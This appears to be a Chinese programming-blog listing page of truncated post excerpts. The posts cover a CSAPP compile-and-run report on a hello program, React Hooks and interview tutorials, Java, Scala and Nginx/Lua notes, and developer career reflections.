计算机系统大作业题目程序人生-Hello’sP2P专业计算机科学与技术学号2021111050班级2103101学生吕泽楷指导教师刘宏伟计算机科学与技术学院2022年11月摘要HelloWorld是每个程序员接触的第一个程序,本文观察hello.c文件在Linux系统中的生命周期,从预处理编译开始,观察其如何一步步生成hello可执行文件,从计算机底层解释了存储、分配、I/O过程、子程序的创建和回
CSAPP大作业程序人生
kbforever8
ubuntu linux
计算机系统大作业题目程序人生-Hello’sP2P专业计算学部学号班级学生指导教师吴锐计算机科学与技术学院2022年5月摘要本文通过分析一个简单地hello程序,通过分析其预处理,编译,汇编,链接,进程,内存管理,I/O管理几大模块,即分析了hello的从编译到执行结束输出的过程,又将CSAPP所学的内容串联了起来关键词:预处理;编译;汇编;链接;进程;内存管理;I/O管理(摘要0分,缺失-1分,
GPT每日面试题—如何理解事件循环
CreatorRay
面试 前端 ChatGPT 前端 javascript chatgpt 面试
充分利用ChatGPT的优势,帮助我们快速准备前端面试。Q:如果在前端面试中,有人问你如何理解事件循环,怎么回答最好?A:在前端面试中,对于事件循环(EventLoop)的理解是一个重要的面试点。以下是一个较为全面的回答,可以帮助你展示对事件循环的理解:公众号:Code程序人生,个人网站:https://creatorblog.cn回答示例:事件循环是浏览器或Node.js执行JavaScript
GPT每日面试题—如何理解闭包
CreatorRay
面试 ChatGPT 前端 chatgpt 面试 前端 javascript
充分利用ChatGPT的优势,帮助我们快速准备前端面试。今日问题:如何理解闭包?Q:如果在前端面试中,被问到如何理解闭包,怎么回答比较好?A:当面试官问到如何理解闭包时,你可以通过以下详细全面的回答来展示你的理解:公众号:Code程序人生,个人网站:https://creatorblog.cn1.定义:闭包是指在函数内部创建的函数可以访问其外部函数的作用域,即使外部函数已经执行完毕,内部函数仍然可
程序人生:是不是Jenkins大神,看这几个技巧就够
测试界的飘柔
软件测试 职场经验 IT jenkins 程序人生 运维 职场和发展 自动化测试
01Performance插件兼容性问题自由风格项目中,有使用Performance插件收集构建产物,但是截至到目前最新版本(Jenkinsv2.298,Performance:v3.19),此插件和Jenkins都存在有兼容性问题,会导致项目配置页面table,div错位,而导致无法保存配置,这个问题已经存在了好长时间了(至少半年),插件作者一直没有修复,目前在项目中要想使用这个插件,有以下三种
程序人生:如何提效,如何管理时间
Java程序员笔记
平时常听到“天呐,这周就这么过去了,我啥都没干”“今天我啥都没做”这种焦虑时间过得快、没时间学习的话语,分享一些个人的见解花时间补基础,读文档作为程序猿,debug是我们的日常操作,debug即费时间又费脑力精神力,但是你是否发现很多问题归根到底是因为基础不扎实或者文档没有看透。基础是技术的支撑,花时间打好基础而不是一味追各种新技术。一旦基础扎实,学习各种新技术分分钟搞定,因为新的技术,究其根本都
程序人生系列1-2021年通过私活累积收益1.5w
只是甲
程序人生 程序员接单 私活 留学生课程作业
博主在B站更新了接私活的视频,感兴趣的可以移步到我的B站:博主私活记录一.个人介绍 2011年毕业,计算机专业科班出身,10年及以上金融信贷、通信行业数据库运维管理、数据仓库及大数据相关工作经验,持有OracleOCP和LinuxRHCE认证证书。 毕业第一份工作很幸运的成为了一个OracleDBA,刚毕业就开始维护TB级的数据。在知道自身实力不足的情况下,报名培训机构,相继考了OracleO
生产发版前准备【经验分享给萌新程序员】
ss_Tina
经验分享 其他
#【中秋征文】程序人生,中秋共享#经验分享自从当了码农,已经不知道有多少个日日夜夜熬夜到凌晨三四点了。不知道大家有没有想过,生产上线发布新版本到凌晨三、四点都有可能是哪些原因呢?下面我将分享下自己以前跟进生产版本发布的经验,经验丰富的老前辈们肯定都比我清楚(可忽略此篇文章~哈哈~)。这篇文章可能更适合萌新程序员体质。争取不熬夜工作(只能熬夜玩乐,不能熬夜工作~)目录经验分享一、网络权限申请涉及网络
React Hooks大全—useContext
CreatorRay
面试 react 前端 react.js 前端 javascript
在本文中,我们将重点介绍useContext这个Hook,它可以让你在函数组件中轻松地访问ReactContext,从而实现跨组件的状态共享。我们将从基本使用,实现原理,最佳实践,以及一些常见的问题和解决方案来探讨useContext的用法和优势。我们还将给出一些必要的代码示例,帮助你更好地理解和应用useContext。基本使用公众号:Code程序人生,个人网站:https://creatorb
互联网为何变得如此这般
CreatorRay
互联网 程序人生 经济 互联网 程序员 程序人生 经济
2023年是难过的一年,在经济下行周期内,作为互联网打工人,很明显感觉到时过境迁、物是人非,互联网行业究竟为何变得如何这般?前言公众号:Code程序人生,个人网站:https://creatorblog.cn先自我介绍一下,我是一名00后前端程序员,在北京工作,全职工作经验一年半左右,全网2.5w+粉丝,博文访问量500w+。互联网行业在最近两年发生了巨变,我的感受很深刻。2021年还在实习的时候
React Hooks大全—useCallback
CreatorRay
react 前端 面试 javascript 前端 react.js
在本文中,我们将重点介绍一个React常用的内置Hook,即useCallback。useCallback可以让我们缓存函数,避免因为函数引用的变化而导致不必要的子组件重渲染。我们讲解它的基本使用、实现原理、与useMemo的区别、最佳实践等。基本使用公众号:Code程序人生,个人网站:https://creatorblog.cnuseCallback是一个ReactHook,所以我们只能在函数式
React Hooks大全—useRef
CreatorRay
react 前端 面试 react.js javascript 前端
本文将重点介绍useRef这个Hook,它可以让你在组件的整个生命周期中访问一个可变的引用对象。useRef的主要用途是直接访问DOM子元素,但这并不是它的唯一用途。useRef也可以用来保存一个在不同渲染中不变的可变值,例如在使用一些非React的外部库时很有用。本文将介绍useRef的基本使用,实现原理,最佳实践和一些常见的问题。公众号:Code程序人生,个人网站:https://creato
程序人生-Hello’s P2P
Baigker
程序人生
摘要本文介绍了在Linux操作系统下hello的整个生命周期。借助gcc,objdump等工具,对hello的预处理、编译、汇编、链接等过程进行分析。并对程序hello运行过程中的动态链接库调用、内存管理、系统级I/O等进行介绍。关键词:预处理;编译;汇编;链接;进程;内存管理;IO;目录第1章概述-4-1.1Hello简介-4-1.2环境与工具-4-1.3中间结果-5-1.4本章小结-5-第2章
优化Java开发:快速排查难点和Bug、高效沟通与业务的方法! 在Java开发中,遇到难点和出现Bug是家常便饭。如何快速排查这些问题,提高开发效率,是每个Java开发者都需要掌握的技能
王大师王文峰
Java基础到框架 java bug 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)优化Java开发:快速排查难点和Bug、高效沟通与业务的方法!在Java开发中,遇到难点和出现Bug是家常便饭。如何快速排查这些
【程序人生】研二,来北京100天了,记录一下
农民真快落
程序人生 程序人生 Chisel fft 数字ic fpga开发
文章目录中科院牛马的100天工作总结①OFDM系统搭建与建模②数字IC设计流程及相关工具调研③芯片通信架构调研——片上网络计算机、芯片的魅力何在?7月23日坐飞机从连云港来到北京大兴机场,辗转地铁到中关村,收拾一下分配的破烂宿舍,在暑假提前开始了我的研二生活。今天开题报告改不动了,干脆记录下最近的生活,权当放松一下。一看日期10月31日,刚好一百天。北京大兴机场中科院牛马的100天工作总结这一百天
【程序人生】研二上快结束了~整理最近的思路
农民真快落
程序人生 片上网络 程序人生
看一下自己的《每日科研进展》群聊,把最近做的事情和后面要做的事情整理一下思路。1月1日到1月7日在整理NoCRouter执行流程和Chisel环境Setup流程:NoCRouter执行流程Chisel安装流程总结:先安装jdk,配置环境变量安装sbt,不用配置环境变量安装idea社区版离线安装scala的idea插件配置sbt换源利用template工程验证helloworld,注意:6.1配置自
设计模式 简单工厂,策略模式,几种基本原则,Unity基础
所恋皆洛尘
学习笔记 c# 设计模式
学习笔记感受设计演变过程中蕴含的大智慧,体会乐于怒的程序人生中值得回味的一幕幕。设计模式来自于建筑领域,作为软件工程的一个分支,是在软件工程实践过程中,程序员们总结出的良好的编程方法。第一种模式简单工厂模式图片来源,点这里上面是简单工厂的UML图我简单介绍一下首先是一个主类,下面有3个子类(可以是多个)继承它每个子类都是一个方法,都独自封装成类把它们的共性写入基类(也就是父类)写成抽象或者写成虚函
【程序人生】马斯克:我一直有种存在的危机感
OpenChat
ChatGPT 程序人生 人工智能 程序人生 技术简史 AIGC 大模型
01我一直有种存在的危机感小时候,人们常会问我,长大要做什么,我其实也不知道。后来我想,搞发明应该会很酷吧,因为科幻小说家亚瑟·克拉克(《2001太空漫游》作者)曾说过:任何足够先进的科技,都与魔法无异。想想看,三百年前的人类,如果看到今天我们可以飞行、可以远距沟通、可以使用网路、可以马上找到世界各地的资讯,他们一定会说,这是魔法。要是我能够发明出很先进的科技,不就像是在变魔法吗?我一直有种存在的
2022-06-03怎么查询公网IP
南陵笑笑生
怎么查询公网IP别扒拉我代码于2022-01-1410:45:34发布13853收藏1文章标签:tcp/ip服务器网络协议程序人生版权如果我们连接的是公司或者学校的局域网,查询公网的IP方法有:①:在浏览器上输入http://ip.cn。②:在浏览器上打开http://ip138.com,这是一个国内的外网地址;③:同样通过浏览器访问http://ifconfig.me,国外的外网地址;Needa
33 ES6中的类和对象
CurryCoder
技术交流QQ群:1027579432,欢迎你的加入!欢迎关注我的微信公众号:CurryCoder的程序人生1.面向对象面向对象的思维特点:a.抽取(抽象)对象共有的属性和行为组织(封装)成一个类(模板);b.对类进行实例化,获取类的对象;面向对象编程考虑的是有哪些对象,按照面向对象的思维特点,不断的创建对象,使用对象,指挥对象做事情。2.对象现实生活中,万物皆对象,对象是一个具体的事物,看得见摸得
程序人生:突围金三银四面试季!附学习笔记+面试整理+进阶书籍
6年老Java
程序员 java 后端 面试
前言又到一年金九银十之际。Java作为目前用户最多,使用范围最广的软件开发技术之一。Java的技术体系主要由支撑Java程序运行的虚拟机,提供各开发领域接口支持的Java,Java编程语言及许多第三方Jvav框架构成。其中,以Java的虚拟器为今天的着重点以下是我整理收藏的一些JVM大厂面试经典问题与相应答案,希望可以给看文的朋友一些帮助由于篇幅过长,请耐心往下看,文末提供小编收藏已久的JVM面试
VMware Workstation 11 或者 VMware Player 7安装MAC OS X 10.10 Yosemite
iwindyforest
vmware mac os 10.10 workstation player
最近尝试了下VMware下安装MacOS 系统,
安装过程中发现网上可供参考的文章都是VMware Workstation 10以下, MacOS X 10.9以下的文章,
只能提供大概的思路, 但是实际安装起来由于版本问题, 走了不少弯路, 所以我尝试写以下总结, 希望能给有兴趣安装OSX的人提供一点帮助。
写在前面的话:
其实安装好后发现, 由于我的th
关于《基于模型驱动的B/S在线开发平台》源代码开源的疑虑?
deathwknight
JavaScript java 框架
本人从学习Java开发到现在已有10年整,从一个要自学 java买成javascript的小菜鸟,成长为只会java和javascript语言的老菜鸟(个人邮箱:
[email protected] )
一路走来,跌跌撞撞。用自己的三年多业余时间,瞎搞一个小东西(基于模型驱动的B/S在线开发平台,非MVC框架、非代码生成)。希望与大家一起分享,同时有许些疑虑,希望有人可以交流下
平台
如何把maven项目转成web项目
Kai_Ge
maven MyEclipse
创建Web工程,使用eclipse ee创建maven web工程 1.右键项目,选择Project Facets,点击Convert to faceted from 2.更改Dynamic Web Module的Version为2.5.(3.0为Java7的,Tomcat6不支持). 如果提示错误,可能需要在Java Compiler设置Compiler compl
主管???
Array_06
工作
转载:http://www.blogjava.net/fastzch/archive/2010/11/25/339054.html
很久以前跟同事参加的培训,同事整理得很详细,必须得转!
前段时间,公司有组织中高阶主管及其培养干部进行了为期三天的管理训练培训。三天的课程下来,虽然内容较多,因对老师三天来的课程内容深有感触,故借着整理学习心得的机会,将三天来的培训课程做了一个
python内置函数大全
2002wmj
python
最近一直在看python的document,打算在基础方面重点看一下python的keyword、Build-in Function、Build-in Constants、Build-in Types、Build-in Exception这四个方面,其实在看的时候发现整个《The Python Standard Library》章节都是很不错的,其中描述了很多不错的主题。先把Build-in Fu
JSP页面通过JQUERY合并行
357029540
JavaScript jquery
在写程序的过程中我们难免会遇到在页面上合并单元行的情况,如图所示
如果对于会的同学可能很简单,但是对没有思路的同学来说还是比较麻烦的,提供一下用JQUERY实现的参考代码
function mergeCell(){
var trs = $("#table tr");
&nb
Java基础
冰天百华
java基础
学习函数式编程
package base;
import java.text.DecimalFormat;
public class Main {
public static void main(String[] args) {
// Integer a = 4;
// Double aa = (double)a / 100000;
// Decimal
unix时间戳相互转换
adminjun
转换 unix 时间戳
如何在不同编程语言中获取现在的Unix时间戳(Unix timestamp)? Java time JavaScript Math.round(new Date().getTime()/1000)
getTime()返回数值的单位是毫秒 Microsoft .NET / C# epoch = (DateTime.Now.ToUniversalTime().Ticks - 62135
作为一个合格程序员该做的事
aijuans
程序员
作为一个合格程序员每天该做的事 1、总结自己一天任务的完成情况 最好的方式是写工作日志,把自己今天完成了什么事情,遇见了什么问题都记录下来,日后翻看好处多多
2、考虑自己明天应该做的主要工作 把明天要做的事情列出来,并按照优先级排列,第二天应该把自己效率最高的时间分配给最重要的工作
3、考虑自己一天工作中失误的地方,并想出避免下一次再犯的方法 出错不要紧,最重
由html5视频播放引发的总结
ayaoxinchao
html5 视频 video
前言
项目中存在视频播放的功能,前期设计是以flash播放器播放视频的。但是现在由于需要兼容苹果的设备,必须采用html5的方式来播放视频。我就出于兴趣对html5播放视频做了简单的了解,不了解不知道,水真是很深。本文所记录的知识一些浅尝辄止的知识,说起来很惭愧。
视频结构
本该直接介绍html5的<video>的,但鉴于本人对视频
解决httpclient访问自签名https报javax.net.ssl.SSLHandshakeException: sun.security.validat
bewithme
httpclient
如果你构建了一个https协议的站点,而此站点的安全证书并不是合法的第三方证书颁发机构所签发,那么你用httpclient去访问此站点会报如下错误
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path bu
Jedis连接池的入门级使用
bijian1013
redis redis数据库 jedis
Jedis连接池操作步骤如下:
a.获取Jedis实例需要从JedisPool中获取;
b.用完Jedis实例需要返还给JedisPool;
c.如果Jedis在使用过程中出错,则也需要还给JedisPool;
packag
变与不变
bingyingao
不变 变 亲情永恒
变与不变
周末骑车转到了五年前租住的小区,曾经最爱吃的西北面馆、江西水饺、手工拉面早已不在,
各种店铺都换了好几茬,这些是变的。
三年前还很流行的一款手机在今天看起来已经落后的不像样子。
三年前还运行的好好的一家公司,今天也已经不复存在。
一座座高楼拔地而起,
【Scala十】Scala核心四:集合框架之List
bit1129
scala
Spark的RDD作为一个分布式不可变的数据集合,它提供的转换操作,很多是借鉴于Scala的集合框架提供的一些函数,因此,有必要对Scala的集合进行详细的了解
1. 泛型集合都是协变的,对于List而言,如果B是A的子类,那么List[B]也是List[A]的子类,即可以把List[B]的实例赋值给List[A]变量
2. 给变量赋值(注意val关键字,a,b
Nested Functions in C
bookjovi
c closure
Nested Functions 又称closure,属于functional language中的概念,一直以为C中是不支持closure的,现在看来我错了,不过C标准中是不支持的,而GCC支持。
既然GCC支持了closure,那么 lexical scoping自然也支持了,同时在C中label也是可以在nested functions中自由跳转的
Java-Collections Framework学习与总结-WeakHashMap
BrokenDreams
Collections
总结这个类之前,首先看一下Java引用的相关知识。Java的引用分为四种:强引用、软引用、弱引用和虚引用。
强引用:就是常见的代码中的引用,如Object o = new Object();存在强引用的对象不会被垃圾收集
读《研磨设计模式》-代码笔记-解释器模式-Interpret
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 解释器(Interpreter)模式的意图是可以按照自己定义的组合规则集合来组合可执行对象
*
* 代码示例实现XML里面1.读取单个元素的值 2.读取单个属性的值
* 多
After Effects操作&快捷键
cherishLC
After Effects
1、快捷键官方文档
中文版:https://helpx.adobe.com/cn/after-effects/using/keyboard-shortcuts-reference.html
英文版:https://helpx.adobe.com/after-effects/using/keyboard-shortcuts-reference.html
2、常用快捷键
Maven 常用命令
crabdave
maven
Maven 常用命令
mvn archetype:generate
mvn install
mvn clean
mvn clean complie
mvn clean test
mvn clean install
mvn clean package
mvn test
mvn package
mvn site
mvn dependency:res
shell bad substitution
daizj
shell 脚本
#!/bin/sh
/data/script/common/run_cmd.exp 192.168.13.168 "impala-shell -islave4 -q 'insert OVERWRITE table imeis.${tableName} select ${selectFields}, ds, fnv_hash(concat(cast(ds as string), im
Java SE 第二讲(原生数据类型 Primitive Data Type)
dcj3sjt126com
java
Java SE 第二讲:
1. Windows: notepad, editplus, ultraedit, gvim
Linux: vi, vim, gedit
2. Java 中的数据类型分为两大类:
1)原生数据类型 (Primitive Data Type)
2)引用类型(对象类型) (R
CGridView中实现批量删除
dcj3sjt126com
PHP yii
1,CGridView中的columns添加
array(
'selectableRows' => 2,
'footer' => '<button type="button" onclick="GetCheckbox();" style=&
Java中泛型的各种使用
dyy_gusi
java 泛型
Java中的泛型的使用:1.普通的泛型使用
在使用类的时候后面的<>中的类型就是我们确定的类型。
public class MyClass1<T> {//此处定义的泛型是T
private T var;
public T getVar() {
return var;
}
public void setVa
Web开发技术十年发展历程
gcq511120594
Web 浏览器 数据挖掘
回顾web开发技术这十年发展历程:
Ajax
03年的时候我上六年级,那时候网吧刚在小县城的角落萌生。传奇,大话西游第一代网游一时风靡。我抱着试一试的心态给了网吧老板两块钱想申请个号玩玩,然后接下来的一个小时我一直在,注,册,账,号。
彼时网吧用的512k的带宽,注册的时候,填了一堆信息,提交,页面跳转,嘣,”您填写的信息有误,请重填”。然后跳转回注册页面,以此循环。我现在时常想,如果当时a
openSession()与getCurrentSession()区别:
hetongfei
java DAO Hibernate
来自 http://blog.csdn.net/dy511/article/details/6166134
1.getCurrentSession创建的session会和绑定到当前线程,而openSession不会。
2. getCurrentSession创建的线程会在事务回滚或事物提交后自动关闭,而openSession必须手动关闭。
这里getCurrentSession本地事务(本地
第一章 安装Nginx+Lua开发环境
jinnianshilongnian
nginx lua openresty
首先我们选择使用OpenResty,其是由Nginx核心加很多第三方模块组成,其最大的亮点是默认集成了Lua开发环境,使得Nginx可以作为一个Web Server使用。借助于Nginx的事件驱动模型和非阻塞IO,可以实现高性能的Web应用程序。而且OpenResty提供了大量组件如Mysql、Redis、Memcached等等,使在Nginx上开发Web应用更方便更简单。目前在京东如实时价格、秒
HSQLDB In-Process方式访问内存数据库
liyonghui160com
HSQLDB一大特色就是能够在内存中建立数据库,当然它也能将这些内存数据库保存到文件中以便实现真正的持久化。
先睹为快!
下面是一个In-Process方式访问内存数据库的代码示例:
下面代码需要引入hsqldb.jar包 (hsqldb-2.2.8)
import java.s
Java线程的5个使用技巧
pda158
java 数据结构
Java线程有哪些不太为人所知的技巧与用法? 萝卜白菜各有所爱。像我就喜欢Java。学无止境,这也是我喜欢它的一个原因。日常
工作中你所用到的工具,通常都有些你从来没有了解过的东西,比方说某个方法或者是一些有趣的用法。比如说线程。没错,就是线程。或者确切说是Thread这个类。当我们在构建高可扩展性系统的时候,通常会面临各种各样的并发编程的问题,不过我们现在所要讲的可能会略有不同。
开发资源大整合:编程语言篇——JavaScript(1)
shoothao
JavaScript
概述:本系列的资源整合来自于github中各个领域的大牛,来收藏你感兴趣的东西吧。
程序包管理器
管理javascript库并提供对这些库的快速使用与打包的服务。
Bower - 用于web的程序包管理。
component - 用于客户端的程序包管理,构建更好的web应用程序。
spm - 全新的静态的文件包管
避免使用终结函数
vahoa.ma
java jvm C++
终结函数(finalizer)通常是不可预测的,常常也是很危险的,一般情况下不是必要的。使用终结函数会导致不稳定的行为、更差的性能,以及带来移植性问题。不要把终结函数当做C++中的析构函数(destructors)的对应物。
我自己总结了一下这一条的综合性结论是这样的:
1)在涉及使用资源,使用完毕后要释放资源的情形下,首先要用一个显示的方